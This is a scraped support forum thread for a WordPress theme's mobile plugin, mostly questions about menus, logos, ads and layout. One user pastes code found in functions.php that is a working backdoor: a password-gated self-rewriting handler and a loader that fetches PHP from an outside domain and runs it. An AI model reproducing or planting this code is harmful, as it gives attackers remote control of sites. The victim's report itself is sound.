- TutorialsFrom WPBakery to tagDiv Composer
- TutorialsWhat is Ajax preloading?
Hello MiguelPat,
Unfortunately, this plugin was not been tested with our theme and rather with the mobile theme and we cannot say for sure if it will work or not, sorry! Notice that the Mobile Theme is very complex and this plugin might interfere with it and causes a lot of unknown issues. Also, notice that our mobile theme has an own mobile style and the theme will not recognize any code/shortcode comes from another untested plugin and that’s why you cannot bring any results. As a remark, the mobile theme has been designed to be used only in default layout and to be faster, this theme will not recognize any Visual Composer or TD Composer shortcode.
Thanks for your understanding!
hi just want to know how to shrink my unitedstatesstockexchange.com logo for a mobile phone .
at the moment logo just doesn’t show at all on a phone
I’m using the tablepress plugin to display a table as you can see here: https://poupaeganha.pt/cupoes-de-desconto/
With the tagDiv Mobile Theme activated, the table doens’t show! Is there any solution for this?
Hello,
How can I hide the main menu on mobile and desktop devices, I already saw an excellent code that does it for the whole site, but I need it to be just for the landpage on mobile and desktop devices
thanks a lot for your help
I am being told that the mobile theme does not support it. Please add support for it!
Hi there
When I click on the search icon on desktop view, mobile search comes up. I looked in the inspector and the search box that comes up has the css class td-search-wrap-mob. The site I am having this problem on is:
How can I get the desktop search to show up?
Thanks!
Hi,
The mobile theme plugin is sensitive and can be influenced by other plugins and especially caching. The WP Super Cache is recommended to be used if possible
– https://forum.tagdiv.com/cache-plugin-install-and-configure/
Please try as suggested and deactivate every plugin except theme plugins. Leave only theme plugins active. Then try and activate the mobile theme plugin again. It should work, then enable your plugins.
The mobile plugin is optional, if it is conflicting with something you could simply not use it. There will be no problem, as the main theme is perfectly capable to display the website on all devices. The theme is fully responsive, mobile theme plugin is not required.
Thanks
having some issues with the display of my site – http://www.biggolfblog.com – on mobile devices.
there is a large white space appearing below the advert banner at the top of the page.
any ideas please?
Thanks,
Jason.
You can use the Chrome F12 inspector tool, and console; and you can now simulate the mobile view to see any specific error there.
Thanks for getting back to me!
1. You are correct, I do have both plugins enabled. I don’t want to remove the TagDiv composer because how will I be able to edit the layout of the homepage without it?
2. I removed the zoom feature for now.
Now I have a new issue.
3. The lightbox feature is not working. When I click a product image the lightbox pops up underneath my site’s menu like this https://www.screencast.com/t/BpvVikxR when I am on Mac using Chrome. It works fine on mobile but not on a desktop.
I looked at the theme demo https://demo.tagdiv.com/newspaper_tech/product/woo-logo-3/ and when you click on a product image it redirects the user to the large jpg view which is not the desired behavior requiring the user to click back on their browser. Either the lightbox needs to work or I need to remove the link to the larger image?
Any idea on how to fix this?
Hi,
That code will remove the news ticker on mobile, this code will remove the space leaving just the padding from your code
– https://www.screencast.com/t/6jLsQ0sPGxH
.home .td-crumb-container {
display: none;
}
Thanks
Hello luukglansdorp,
I have inspected your website and I did not say any padlock on mobile and your website it seems to be secure. The padlock is green. Where is the problem? Please provide more details so I will be able to provide a more accurate response.
Thanks for your understanding!
Thanks, Simion, much appreciated!
It works, and it fixes the issue even when 4 products per row are set, but only on desktop. On a mobile the products are displayed like this – 1 product per row and diagonal (chess layout).
Hi,
It seems you have managed to create and set a header ad for the website at the moment
– https://www.screencast.com/t/zs5MThb6R
Also it links to a set URL and opens in a new tab. Please note that this banner will display on mobile, when the mobile theme is not active
– https://www.screencast.com/t/u1xc9Uve
If the mobile theme plugin is active, a header ad code has to be inserted in the mobile theme ad sections of the theme panel
– https://www.screencast.com/t/dBKQiua9Mh
More information about the mobile theme plugin and how it works, in this guide
– https://forum.tagdiv.com/the-mobile-theme/
Please note that the mobile theme is not required, you can chose not to install it. The main theme is fully responsive and will adapt the website for every device.
Thanks
Hi,
Please try to download the theme again from your themeforest account and reinstall it – https://forum.tagdiv.com/topic/menu-does-not-open-on-mobile-devices/#post-194543
If the issue persist, please send an email at contact@tagdiv.com and provide wp-admin access so we can take a closer look.
Thanks!
Good day. I wrote that before and it was sloved but it appears again.
I am trying to hide the “Trending Now” bar on mobile displays. But there is a white space appears than. Would you please take a look at my screenshots and tell me the proper code to get ride of “Trending Now” bar and it’s white space when it’s set on Display:none;
Theme Panel > Custom Code
I want to get ride of this white space on on mobile displays.
Display on bigger sizes (desktop, laptops)
Here is login credentials to wp in case you need to edit the code. Please do not hesitate if needed..
adelturk.com/n0hack
thank you..
Dear creator,
I am getting the padlock without any issues on a PC, however on mobile it pops-up and dissappears immediately: https://www.bodymag.nl.
Any suggestions which items of the mobile website are unsafe?
Thanks!
I would like to creat a link to my header advertising but there is no space to add link to the header ad. How can I do it. Link here I mean the link that connect the ad to its website. How can I do it? I just creat a website using the theme 8, and why the header ad banner cannot be seen in mobile devise like iPhone? Please tell me about it. My website is theinterpress.com/newsite. I just creat it. It is not complete yet.
I would like to creat a link to my header advertising but there is no space to add link to the header ad. How can I do it. Link here I mean the link that connect the ad to its website. How can I do it? I just creat a website using the theme 8, and why the header ad banner cannot be seen in mobile devise like iPhone? Please tell me about it. My website is theinterpress.com/newsite. I just creat it. It is not complete yet.
I disabled the tagDiv Mobile Theme and now I can get to the menu and search.
If someone can look at it I can re enable it. I am in Adelaide AU so hopefully we can synchronize up and see if we can get it working
Hi, I have inherited a website that has a few issues. I am now looking at the menu on mobile devices. It looks like there is something over the top stopping access. Can I get some advice please? It is really annoying me.
Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.
This is unkown section in funtions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
function.php more code section..
<?php
/*
Our portfolio: http://themeforest.net/user/tagDiv/portfolio
Thanks for using our theme!
tagDiv - 2017
*/
/**
* Load the speed booster framework + theme specific files
*/
// load the deploy mode
require_once('td_deploy_mode.php');
// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10
// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');
require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets
/*
* mobile theme css generator
* in wp-admin the main theme is loaded and the mobile theme functions are not included
* required in td_panel_data_source
* @todo - look for a more elegant solution(ex. generate the css on request)
*/
require_once('mobile/includes/td_css_generator_mob.php');
/* ----------------------------------------------------------------------------
* Woo Commerce
*/
// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
return array(
'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
'wrap_after' => '</div>',
'before' => '',
'after' => '',
'home' => _x('Home', 'breadcrumb', 'woocommerce'),
);
}
// use own pagination
if (!function_exists('woocommerce_pagination')) {
// pagination
function woocommerce_pagination() {
echo td_page_generator::get_pagination();
}
}
// Override theme default specification for product 3 per row
// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));
if (!function_exists('woocommerce_output_related_products')) {
// Number of related products
function woocommerce_output_related_products() {
woocommerce_related_products(array(
'posts_per_page' => 4,
'columns' => 4,
'orderby' => 'rand',
)); // Display 4 products in rows of 1
}
}
/* ----------------------------------------------------------------------------
* bbPress
*/
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
$author_avatar = '';
if ($size == 14) {
$size = 40;
}
$topic_id = bbp_get_topic_id( $topic_id );
if ( !empty( $topic_id ) ) {
if ( !bbp_is_topic_anonymous( $topic_id ) ) {
$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
} else {
$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
}
}
return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);
//add_action('shutdown', 'test_td');
function test_td () {
if (!is_admin()){
td_api_base::_debug_get_used_on_page_components();
}
}
/**
* tdStyleCustomizer.js is required
*/
if (TD_DEBUG_LIVE_THEME_STYLE) {
add_action('wp_footer', 'td_theme_style_footer');
// new live theme demos
function td_theme_style_footer() {
?>
<div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
<div class="td-skin-body">
<div class="td-skin-wrap">
<div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
<div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
<div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
<div class="td-skin-container td-skin-content">
<div class="td-demos-list">
<?php
$td_demo_names = array();
foreach (td_global::$demo_list as $demo_id => $stack_params) {
$td_demo_names[$stack_params['text']] = $demo_id;
?>
<div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
<?php } ?>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="clearfix"></div>
</div>
</div>
<div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
</div>
</div>
<div class="clearfix"></div>
<div class="td-set-hide-show"><a href="#"></a></div>
<div class="td-screen-demo" data-width-preview="380"></div>
</div>
<?php
}
}
//td_demo_state::update_state("art_creek", 'full');
//print_r(td_global::$all_theme_panels_list);
how can you solve this problem? I Know little english.
Hi Catalin,
Thank you for your information, I have been setting by using the mobile theme as your recommendation –>screen capture but it still show only main-menu not show sub-menu in mobile browser
Regards,
Jass
Hello, I’m having problems with the mobile plugin. I have some kind of error in the header, how could I fix it?

The smart list template that has the slides. I believe it is the first one in the order. I’ll link a page on my site that has it. I need them at the bottom because on mobile devices, the written content doesn’t always fit on screen. After they have read the content, they have to scroll back up to go to the next slide. Here is the page for the example.
http://goingfor2.com/and-the-odds-are-nfl-week-6-picks-101517/